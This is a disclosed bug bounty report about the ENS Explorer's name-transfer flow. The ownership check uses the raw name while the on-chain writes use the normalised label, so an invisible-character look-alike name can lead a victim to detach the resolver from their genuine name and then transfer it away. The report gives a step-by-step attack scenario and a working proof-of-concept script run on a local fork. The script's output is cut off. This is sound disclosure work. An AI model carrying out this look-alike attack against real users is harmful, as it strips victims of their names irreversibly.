Transfer flow authorizes one ens name and signs transactions for a different one
The Explorer's transfer flow checked ownership against the raw name from the URL but built its on-chain writes from the ENS-normalised label, so a look-alike name could authorise transactions against the victim's genuine name. An attacker could plant a visually identical name in the victim's wallet, and when the victim tried to dispose of it, the flow would clear the resolver on and then transfer their real name.
- Disclosed after under an hour
93119 w a critical transfer flow authorizes one ens name and signs transactions for a different one
Submitted on Sep 14th 2026 at 10:03:18 UTC by @tomX0 for Audit Competition | ENS
- Report ID: #93119
- Report Type: Websites & Apps
- Report severity: Critical
- Target: https://github.com/immunefi-team/audit-comp-ens/tree/audit-comp-ready/apps/portal
- Impacts:
- Malicious interactions with an already-connected wallet, such as: Modifying transaction arguments or parameters Substituting contract addresses Submitting malicious transactions Signing or submitting a transaction against the wrong chain (for example when the request's target chain is not validated) Inducing a blanket token approval (for example setApprovalForAll on the registry or NameWrapper) to an attacker-controlled address
Description
Brief / Intro
The Explorer's "Transfer ownership" flow decides whether you are allowed to move a name by looking at one on-chain asset, then builds its transaction calldata for a different one.
The owner check reads the raw $name route parameter and asks the chain who owns that literal string. Every write the flow then emits — the resolver detach that runs first, and the ERC-1155 safeTransferFrom that runs last — is keyed on the ENS-normalized label derived from that same parameter.
ENS normalization is a client-side convention. The registries key names by their literal label bytes, so vitalik\u00AD.eth (a soft hyphen before the dot) and vitalik.eth are two separate registry entries with two separate token ids, while normalization collapses the first onto the second. The same holds for Vitalik.eth, which contains no deceptive character at all.
In production this means an attacker can register a look-alike label directly into a victim's wallet, the victim finds a second copy of their own name in the Explorer's own "Names you own" search, decides to get rid of it, and every transaction they sign operates on their real name instead. Every gate passes on the way through — the ENSv2 arm, the 2LD arm, the isAddressEqual owner comparison, the ROLE_CAN_TRANSFER_ADMIN role check — and the only human-readable string anywhere in those transactions is the raw look-alike the victim thinks they are throwing away. The first transaction of the flow clears the resolver on the victim's genuine name before the token ever moves; the last one transfers the genuine name to whatever address the victim typed.
Throughout this report I write \u00AD out explicitly rather than pasting it. It is U+00AD SOFT HYPHEN, which has no glyph, so vitalik\u00AD.eth and vitalik.eth are visually identical in every browser.
Vulnerability Details
The authorization gate reads the raw parameter
The transfer route takes name straight from the router and hands it, unchanged, to the owner query:
// apps/portal/src/routes/$name/ownership/transfer.tsx
function RouteComponent() {
const { name } = Route.useParams()
const { address } = useConnection()
const isSubname = !is2LD(name)
const ownerQuery = useQuery(getEnsOwnerQueryOptions({ name }))
The entire authorization decision is one comparison further down:
// apps/portal/src/routes/$name/ownership/transfer.tsx
.with(
{ data: P.nonNullable, address: P.string },
({ data, address }) => isAddressEqual(address, data.owner),
({ data }) => (
<AuthorizedTransfer
name={name}
registryAddress={data.registryAddress}
owner={data.owner}
/>
),
)
getEnsOwner does not touch the string on its way to the chain, and resolveEnsOwner just splits it on . before handing it to ensjs:
// apps/portal/src/utils/ens/resolveEnsOwner.ts
const labels = name.split('.')
const tld = labels[labels.length - 1]
if (tld === 'eth' && labels.length >= 2) {
const v2 = await resolveV2EthOwner(client, name)
The pinned ensjs getOwner action DNS-encodes the literal bytes, with no normalization anywhere:
// @ensdomains/ensjs, dist/actions/public/v2/getOwner.js
return readContractAction({
address: contractAddress,
abi: universalResolverV2FindOwnerSnippet,
functionName: 'findOwner',
args: [toHex(packetToBytes(name))],
});
The question the app asks the chain is, literally, "who owns the string in the URL bar?"
The calldata is built from the normalized label
useTransferName derives the token id from getLabel(name):
// apps/portal/src/features/transfer/hooks/useTransferName.ts
const prepareMutation = useMutation(
resultMutationOptions({
mutationFn: ({ recipient, options }: StartTransferParams) =>
getEnsTokenId({
label: getLabel(name),
registryAddress,
}).map((tokenId) => ({ recipient, tokenId, options })),
and getLabel is explicitly a normalizing function:
// apps/portal/src/utils/token/getLabel.ts
export function getLabel(name: string): string {
const normalized = ens_normalize(name)
const labels = ens_split(normalized)
const first = labels[0]
if (!first || first.error) {
throw first?.error
}
return String.fromCodePoint(...first.input)
}
The clearest statement of the whole bug is a single function body where both forms are alive at once and both get handed to every step:
// apps/portal/src/features/transfer/hooks/useTransferName.ts
const { walletClient, publicClient: pc, signer } = await getRuntime()
const common = { name, walletClient, publicClient: pc, signer, chainId }
const label = getLabel(name)
await match(step)
.with('set-eth-addr', () => setEthAddress({ ...common, recipient, id }))
.with('detach-resolver', () =>
detachNameResolver({ ...common, label, registryAddress, id }),
)
.with('detach-registry', () =>
detachNameRegistry({ ...common, label, registryAddress, id }),
)
.with('transfer-token', () =>
transferToken({ ...common, registryAddress, tokenId, recipient, id }),
)
.exhaustive()
common carries the raw name, which is what every step uses for its human-readable description. label carries the normalized one, which is what the on-chain writes are keyed on.
getEnsTokenId hashes that label with no further processing, the id goes straight into ERC-1155 calldata, and the description interpolates the raw name:
// apps/portal/src/features/transfer/helpers/transferToken.ts
const data = encodeFunctionData({
abi: erc1155Abi,
functionName: 'safeTransferFrom',
args: [walletWithAccount.account.address, recipient, tokenId, 1n, '0x'],
})
const txId = transactionManager.startTransaction(
{
type: 'custom',
request: {
type: 'eoa',
from: walletWithAccount.account.address,
to: registryAddress,
data,
value: 0n,
chainId,
},
},
signer,
{
id,
description: `Transfer ${name}`,
publicClient,
chainId,
},
)
The same split fires before the token ever moves
This is the cheapest leg of the attack in terms of victim interaction, and if I had to lead with one thing it would be this.
register() on the ENSv2 ETHRegistrar takes the resolver as a plain argument, so the attacker picks what the planted twin points at. That choice decides what the Explorer offers the victim, because useTransferDetachTargets reads the targets from the raw name but checks the permission on the normalized label:
// apps/portal/src/features/transfer/hooks/useTransferDetachTargets.ts
let label: string | null = null
try {
label = getLabel(name)
} catch {}
const resolverQuery = useNameResolverAddress({ name })
const registriesQuery = useQuery(getNameRegistriesQueryOptions({ name }))
const ethAddressQuery = useQuery(getEthAddressQueryOptions(name))
const rolesQuery = useQuery({
...getNameRolesForAccountQueryOptions({
registryAddress,
label: label ?? '',
account: owner,
}),
enabled: label !== null,
})
resolverQuery asks about the twin, which has a resolver because the attacker set one. rolesQuery asks whether the victim holds ROLE_SET_RESOLVER on vitalik, which they do, on their real name. Both come back true, so the option becomes visible:
// apps/portal/src/features/transfer/hooks/useTransferDetachTargets.ts
detachResolver:
resolverQuery.isSuccess &&
hasResolver &&
rolesQuery.isSuccess &&
heldRoles.includes('ROLE_SET_RESOLVER'),
SendNameForm defaults every toggle to on:
// apps/portal/src/features/transfer/components/SendNameForm.tsx
const [recipientInput, setRecipientInput] = useState('')
const [options, setOptions] = useState<Record<OptionKey, boolean>>({
setEthAddress: true,
detachResolver: true,
detachRegistry: true,
})
and buildTransferPlan puts the detach steps first, deliberately:
// apps/portal/src/features/transfer/utils/buildTransferPlan.ts
if (options.detachResolver) {
steps.push('detach-resolver')
}
if (options.detachRegistry) {
steps.push('detach-registry')
}
steps.push('transfer-token')
detachNameResolver then keys the write on the normalized label while describing it with the raw name:
// apps/portal/src/features/transfer/helpers/detachNameResolver.ts
const writeParams = setResolverWriteParameters(walletWithAccount, {
label,
registryAddress,
resolverAddress: zeroAddress,
})
// apps/portal/src/features/transfer/helpers/detachNameResolver.ts
description: `Detach resolver for ${name}`,
setResolverWriteParameters in the pinned ensjs computes BigInt(labelhash(label)) and emits setResolver(tokenId, resolverAddress).
So the first transaction of the flow is setResolver(labelhash("vitalik"), 0x0) against the victim's genuine name, signed under a prompt that reads Detach resolver for vitalik.eth. It happens before the token transfer, and it does not depend on what the victim typed in the recipient field — only on there being some valid recipient there, since that is what enables the button. The victim can abandon the flow at the next prompt and the damage is already on chain.
The file concedes what a partial run costs, in its own header comment:
// apps/portal/src/features/transfer/helpers/detachNameResolver.ts
* but a migrated/locked name can own the token yet lack it. Callers must confirm
* the role first (see `useTransferDetachTargets`) — this step runs before the
* irreversible token transfer, so a revert here leaves the name degraded.
The same divergence exists on detachNameRegistry, where setSubregistry is keyed on label and described with name, and the attacker can arm that leg too by passing a subregistry to register(). I did not exercise it, so I claim only the resolver leg.
Why the role check does not save the user
useCanTransferName mirrors the on-chain ROLE_CAN_TRANSFER_ADMIN gate so the UI can refuse a transfer that would revert. It runs on the normalized label too:
// apps/portal/src/features/transfer/hooks/useCanTransferName.ts
const label = useMemo(() => {
try {
return getLabel(name)
} catch {
return null
}
}, [name])
const isEnabled = enabled && !!label && !!registryAddress && !!account
const query = useQuery({
...getHasRolesQueryOptions({
registryAddress: registryAddress ?? zeroAddress,
label: label ?? '',
roles: [TRANSFER_ROLE],
account: account ?? zeroAddress,
}),
enabled: isEnabled,
})
This makes things worse rather than better. The Transfer button requires isConnectedOwner && hasTransferRole && !isSubname. isConnectedOwner is true because the victim owns the planted name. hasTransferRole is true because the victim holds the transfer role on their real name. The button appears on the strength of two different assets.
No guard is applied on this path
isValidEnsName in apps/portal/src/utils/token/isNormalized.ts rejects a non-normalized name, and the app does call it — but only twice in the whole route tree, and neither call is on the transfer path:
$ grep -rn "isValidEnsName(" apps/portal/src/routes
apps/portal/src/routes/$name.tsx:29: if (isValidEnsName(name) && isTLD(name)) {
apps/portal/src/routes/$name/index.tsx:442: const isValidName = isValidEnsName(name)
$name.tsx is the layout route wrapping every /$name/* page, and it uses the result only to decide a TLD redirect; it does not reject the parameter. $name/index.tsx is the profile page, which does render an "Invalid name" body.
That is the one mitigation a triager should know about, and I want to state it rather than let it be discovered: a victim who lands on the planted name's profile first does see a warning. It does not follow them into the flow. The sidebar is mounted by the layout route and keeps rendering an "Ownership" link with the same raw parameter, and neither routes/$name/ownership/index.tsx nor routes/$name/ownership/transfer.tsx contains any validation at all. The warning is also easy to route around: a link that lands the victim directly on /<planted name>/ownership never renders the profile body.
Attack scenario, step by step
Two wallets: A (attacker) and V (victim). V already owns vitalik.eth as an ENSv2 2LD with ROLE_CAN_TRANSFER_ADMIN, which is the ordinary state of any registered name.
-
As A, register the label
vitalik\u00AD— the seven ASCII lettersvitalikfollowed by U+00AD SOFT HYPHEN — through the ENSv2ETHRegistrar, passing V's address as theownerargument and any working resolver as theresolverargument. A convenient way to produce the string is'vitalik' + String.fromCharCode(0x00AD). V is not prompted and does nothing. -
As V, connect to the Explorer and type your own name into the search box. Nothing renders while the box is empty, because
filterAndSortOwnedNamesreturns[]for an empty query. But the match is deliberately loose: the query is trimmed and lowercased, a TLD-like suffix of up to three characters is stripped, and what remains is tested withincludesagainst the lowercased name. Typingvitalik,vitalik.eth, or evenvital, returns both rows under "Names you own", and both render asvitalik.eth, because the row label is the raw name string.This is a better discovery path than a link from the attacker, and it is worth being explicit about why: it is organic. The victim goes looking for their own name, in the app's own search, and the app hands them two identical rows. No message has to be delivered and no link has to be clicked.
mergeOwnedNamesde-duplicates byname.trim().toLowerCase(), first entry wins. The soft hyphen survives that key, so both rows are listed. -
As V, click the second row, the planted one. Equivalently, and more deterministically for a triager, navigate straight to
/<planted name>/ownershipwith the soft hyphen URL-encoded as%C2%AD, sohttps://<explorer host>/vitalik%C2%AD.eth/ownership. That also skips the profile route's "Invalid name" body entirely. -
Observe that the page renders normally and the Transfer button is present in the header. It is there because the owner check passed on the planted name and the role check passed on the real one.
-
Click Transfer. The page heading is the literal string
Transfer ownership; no name appears in the page body. The sidebar shows the raw route parameter, which renders asvitalik.eth. -
Type any valid recipient address. Any address that is neither V's own nor the zero address is accepted; those two are the only ones
SendNameFormrefuses. The detach options appear the moment a valid recipient resolves, and Detach the resolver is already switched on. Press Transfer name. -
The wallet prompts for the first transaction of the plan. The Explorer labels it
Detach resolver/Detach resolver for vitalik\u00AD.eth, which reads on screen asDetach resolver for vitalik.eth. Its calldata issetResolver(BigInt(labelhash("vitalik")), 0x0)— V's genuine name. Confirm it andvitalik.ethstops resolving: address records, avatar, text records, and anything anyone resolves through it. Nothing about the planted twin changes.This is where the flow becomes damaging, and it lands before the token moves. Which address the victim typed makes no difference: the recipient only has to be valid, and this step never uses it. A victim who senses something is wrong here and closes the modal has already lost the resolver.
-
If V continues, the wallet prompts for
safeTransferFrom(V, <recipient>, <tokenId>, 1, 0x)against the leaf registry contract. The description throughout the Explorer's own modal isTransfer vitalik\u00AD.eth/Transfer name - vitalik\u00AD.eth— the raw invisible-suffix string, which reads asTransfer vitalik.eth. -
Result:
<tokenId>is the id of the labelvitalik, not ofvitalik\u00AD. V still owns the planted junk name.vitalik.eth, resolver already cleared, now belongs to whoever V typed in step 6.
To confirm step 9 without registering anything, compute the two labelhashes. labelhash("vitalik") is 0xaf2caa1c2ca1d027f1ac823b529d0a67cd144264b2789fa2ea4d63a67c7103cc and labelhash("vitalik\u00AD") is 0x1c2d43d4ce9f7dba04fd5a4445a0f11b0a8c11788374634f83b2254ade57c899. The token id in the calldata is derived from the first.
Why this exploit string, and the caveat that drove it
The pinned @adraffy/ens-normalize collapses several classes of input onto vitalik.eth: vitalik\u00AD.eth (soft hyphen), vitalik\uFE0F.eth (VS16), vitalik\u200B.eth (zero-width space), the fullwidth \uFF56italik.eth, and plain VITALIK.eth. Only some of them are usable for the owned-names discovery route.
mergeOwnedNames keys on name.trim().toLowerCase(), first wins, so an uppercase planted label collides with the real name and one of the two rows is silently dropped from the owned-names list. The fullwidth variant survives the dedup but is visibly a different glyph, so a careful victim can tell the rows apart. The invisible codepoints — soft hyphen, VS16, zero-width space — survive the dedup and render identically. That is why the walkthrough is written around U+00AD.
Two things this caveat does not apply to, and they matter for the duplicate analysis further down: the direct-URL path in step 3 does not go through mergeOwnedNames at all, and the divergence inside useTransferName is indifferent to which variant produced it. Test 9 of the proof of concept drives it with a plain capital V.
Impact Details
An attacker willing to spend one registration fee on a chosen target can make that target's own routine "clean up a name I don't want" action operate on their real name instead. Two distinct harms land, in this order:
1. The victim's genuine name stops resolving, before anything else happens. The first transaction of the flow clears the resolver on the victim's genuine 2LD, so it stops resolving for everyone: records, avatar, addresses, and any service that resolves through it. That happens before the token moves, regardless of which address the victim typed, and it is recoverable only by the victim noticing and re-setting the resolver themselves. For a name used as a payment identifier, the downstream consequence is obvious.
2. The victim's genuine name leaves their wallet. The last transaction moves the genuine 2LD to the address the victim typed. The victim intended to dispose of a junk name; they disposed of their real one. It is an ordinary ERC-1155 movement and there is no undo.
Why this maps to the selected impact
The selected entry is "Malicious interactions with an already-connected wallet, such as: modifying transaction arguments or parameters." That is the entry whose text describes what actually executes. What diverges here is a transaction argument: the tokenId argument of safeTransferFrom, and the token-id argument of setResolver, address a different on-chain asset than the one the application's own authorization read approved. The wallet is already connected, the user is inside a first-class product flow, and the argument that determines which asset moves comes from a second, different reading of the same input.
A secondary fit is the lead-in of "Causing the application to display or pre-fill an incorrect address, name, or transaction detail, so that a user sends funds or submits a transaction to an unintended recipient." The transaction details the Explorer displays are Transfer vitalik\u00AD.eth and Detach resolver for vitalik\u00AD.eth, neither of which is the name in the calldata. I claim the lead-in only, not the two bullets under it, because nothing here resolves or renders a name to an attacker-controlled address.
The resolver-detach leg is also a clean fit for "leaving a name permanently inaccessible after the flow" under the hijack/brick entry, but that entry names a Manager flow and this is the Explorer, so I flag it rather than claim it.
Severity justification, stated plainly
The attack costs one registration fee per chosen target, so it does not scale and cannot be sprayed. It also needs real cooperation from the victim: connect, open the planted name, press Transfer, type a recipient, confirm a wallet prompt. Both points are true and I would rather raise them myself than have them raised for me.
Three things argue against dropping below the tier the program itself assigns to this impact. The deception is perfect on the affected path, because the two strings render identically and every string the flow prints is the raw one. The first damaging transaction lands before the token moves and does not depend on which recipient the victim chose. And the token transfer, once confirmed, is irreversible.
Transferring a name is a normal documented workflow, so this is not an "un-prompted, in-app user action outside the normal app workflows." I would not fight a downgrade to High if triage weighs the interaction requirement more heavily, but I do not think it belongs below that.
What I am not claiming
Not "Direct theft of user NFTs." For the victim's name to land in the attacker's wallet, the victim has to type the attacker's address into the recipient field, and I have not demonstrated a non-social-engineering reason why they would.
If V does type A's address in step 6, A owns vitalik.eth outright. That is the worst outcome available here, and it is why I looked at this route in the first place, but every mechanism I can think of for getting there is social engineering, which the program puts out of scope as an activity and which I have not tested. So I am reporting the two harms above, which need no such step. The theft variant is a labelled escalation, not part of the claim.
Proof of Concept
Proof of Concept
Two independent artifacts, both executed, and they should be read together.
The first establishes the on-chain preconditions: that the ENSv2 registrar accepts a label ENS normalization would reject, and that the attacker can put the resulting name in the victim's wallet without the victim doing anything. It runs against a local anvil fork.
The second is an application-level PoC that mounts the app's real useTransferName hook and asserts on the calldata it emits. It runs under the repository's own vitest config.
No deployed ENS asset was contacted at any point. Everything below ran against a local fork, local accounts, and locally minted test tokens.
1. On-chain preconditions — executed on a local anvil fork
Fork of Sepolia, --chain-id 11155111.
The registrar's register takes both the owner and the resolver as plain arguments, visible in the ABI pinned in the repository (@ensdomains/ensjs-abi, v2/ethRegistrar):
register(string label, address owner, bytes32 secret, address subregistry,
address resolver, uint64 duration, address paymentToken, bytes32 referrer)
-> uint256 tokenId
The attacker pays, names the victim as owner, picks the resolver, and is done.
The setup script
Run from apps/portal, so it uses the app's own pinned viem and ensjs:
import {
createPublicClient, createWalletClient, http, encodeFunctionData,
parseAbi, labelhash, zeroAddress,
} from 'viem'
import { privateKeyToAccount, mnemonicToAccount } from 'viem/accounts'
import { sepolia } from 'viem/chains'
import { extendChainWithEns } from '@ensdomains/ensjs/chain'
import { getResolver } from '@ensdomains/ensjs/public'
import {
getOwner as getOwnerV2, getNameRegistries, getNameRolesForAccount,
} from '@ensdomains/ensjs/public/v2'
import { setResolverWriteParameters } from '@ensdomains/ensjs/wallet/v2'
const RPC = process.env.RPC_URL ?? 'http://127.0.0.1:8545'
const chain = extendChainWithEns(sepolia)
const pub = createPublicClient({ chain, transport: http(RPC) })
// anvil's default accounts. The attacker pays for everything.
const attacker = privateKeyToAccount('0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80')
const victim = mnemonicToAccount('test test test test test test test test test test test junk', { addressIndex: 1 })
// Sepolia ENSv2 deployment addresses, read on the fork.
const REG = '0xa88553F454b77203B0D036A05c894d555EAAa2Cc' // ETHRegistrar
const USDC = '0x768F42455A2D082E23ceeF7d51e5787C82d67a39' // payment token
const RESOLVER = '0x640294a2b2d87e7f522db3e3e3e876764bce170d'
const ZH = `0x${'00'.repeat(32)}`
const regAbi = parseAbi([
'function makeCommitment(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, bytes32 referrer) pure returns (bytes32)',
'function commit(bytes32 commitment)',
'function getRegisterPrice(string label, uint64 duration, address paymentToken) view returns (uint256, uint256)',
'function register(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, address paymentToken, bytes32 referrer) returns (uint256)',
])
const tokAbi = parseAbi([
'function mint(address to, uint256 amount)',
'function approve(address spender, uint256 amount) returns (bool)',
])
const rpc = (method, params) =>
fetch(RPC, { method: 'POST', headers: { 'content-type': 'application/json' },
body: JSON.stringify({ jsonrpc: '2.0', id: 1, method, params }) }).then((r) => r.json())
const wallet = (a) => createWalletClient({ account: a, chain, transport: http(RPC) })
const send = async (wc, to, data) => {
const hash = await wc.sendTransaction({ to, data })
const r = await pub.waitForTransactionReceipt({ hash })
if (r.status !== 'success') throw new Error(`tx reverted: ${hash}`)
}
const S = Math.floor(Number(await pub.getBlockNumber()) % 1e6)
const GENUINE = `forkdemo${S}`
const TWIN = `${GENUINE}\u00AD` // U+00AD SOFT HYPHEN — renders identically
const CASED = `Forkdemo${S}` // no deceptive codepoint at all
for (const a of [attacker.address, victim.address]) {
await rpc('anvil_setCode', [a, '0x'])
await rpc('anvil_setBalance', [a, `0x${(10n ** 20n).toString(16)}`])
}
await send(wallet(attacker), USDC,
encodeFunctionData({ abi: tokAbi, functionName: 'mint', args: [attacker.address, 10_000_000_000n] }))
const secret = `0x${'55'.repeat(32)}`
const duration = 31536000n
/** The ATTACKER signs and pays; `owner` and `resolver` are plain arguments. */
const registerAs = async (label, owner, resolver) => {
const commitment = await pub.readContract({ address: REG, abi: regAbi, functionName: 'makeCommitment',
args: [label, owner, secret, zeroAddress, resolver, duration, ZH] })
await send(wallet(attacker), REG, encodeFunctionData({ abi: regAbi, functionName: 'commit', args: [commitment] }))
await rpc('evm_increaseTime', [90]); await rpc('evm_mine', [])
const [base, premium] = await pub.readContract({ address: REG, abi: regAbi,
functionName: 'getRegisterPrice', args: [label, duration, USDC] })
await send(wallet(attacker), USDC, encodeFunctionData({ abi: tokAbi, functionName: 'approve',
args: [REG, (base + premium) * 2n] }))
await send(wallet(attacker), REG, encodeFunctionData({ abi: regAbi, functionName: 'register',
args: [label, owner, secret, zeroAddress, resolver, duration, USDC, ZH] }))
}
// --- A: the plant ----------------------------------------------------------
await registerAs(GENUINE, victim.address, RESOLVER) // the victim's real name
await registerAs(TWIN, victim.address, RESOLVER) // planted by the attacker
// --- B: exactly the reads useTransferDetachTargets performs ----------------
const registries = await getNameRegistries(pub, { name: `${TWIN}.eth` })
const registryAddress = registries[1]
const rawResolver = await getResolver(pub, { name: `${TWIN}.eth` })
const roles = await getNameRolesForAccount(pub,
{ registryAddress, label: GENUINE, account: victim.address })
// --- C: the first transaction the Explorer's plan emits ---------------------
const wp = setResolverWriteParameters({ chain, account: victim },
{ label: GENUINE, registryAddress, resolverAddress: zeroAddress })
await send(wallet(victim), wp.address,
encodeFunctionData({ abi: wp.abi, functionName: wp.functionName, args: wp.args }))
// --- D: no deceptive codepoint is required ---------------------------------
await registerAs(CASED, victim.address, RESOLVER)
The output, verbatim
attacker 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
victim 0x70997970C51812dc3A010C7d01b50e0d17dc79C8
[A] owner of "forkdemo690161.eth" :
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the authorisation check used the raw route parameter while the transaction calldata was derived from the normalised label, so the two referred to different on-chain assets.
Impact
The victim's genuine name could stop resolving before the token moves, and could then be transferred to whatever recipient they typed, with no undo; the attack needs one registration fee per target and real victim interaction.
What the attacker needed
Attacker pays one registration fee; victim owns a genuine ENSv2 2LD; victim opens the planted name's page; victim types a valid recipient
The fix
The flow should validate and normalise the name once and use that single value for both the ownership check and the calldata, rejecting non-normalised names on the transfer path.
How it was found
- Attacker registers a look-alike label with the victim's address as owner and a working resolver.
- Victim searches their own name in the Explorer and sees two identical rows under names they own.
- Victim opens the planted name's ownership page, either via the row or a direct URL.
- Victim clicks Transfer and types any valid recipient address.
- Victim confirms the first prompt, which clears the resolver on their genuine name.
- Victim confirms the second prompt, which transfers their genuine name to the typed recipient.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
ENS names are looked up by their exact characters, but the app also 'normalises' names, which can turn two different strings into the same one. The app checked whether you owned one string but then acted on the other. So a victim who owned a fake look-alike name could end up signing away their real name.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.